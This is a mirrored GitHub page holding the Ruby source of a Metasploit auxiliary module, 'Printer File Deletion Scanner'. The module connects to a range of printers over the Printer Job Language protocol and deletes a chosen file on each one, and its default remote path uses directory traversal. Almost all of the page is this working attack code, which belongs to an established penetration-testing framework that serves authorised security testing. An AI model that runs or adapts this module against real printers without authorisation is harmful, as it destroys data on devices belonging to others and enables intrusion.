/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/auxiliary/scanner/printer/printer_delete_file.rb
63 строки
2 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21
a454217
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, "Name" => "Printer File Deletion Scanner", "Description" => %q{ This module deletes a file on a set of printers using the Printer Job Language (PJL) protocol. }, "Author" => [ "wvu", # Rex::Proto::PJL and modules "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] ], "License" => MSF_LICENSE, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com']) ]) end def run_host(ip) path = datastore["PATH"] connect pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job pjl.fsinit(path[0..1]) if pjl.fsdelete(path) print_good("#{ip}:#{rport} - Deleted #{path}") end pjl.end_job disconnect end end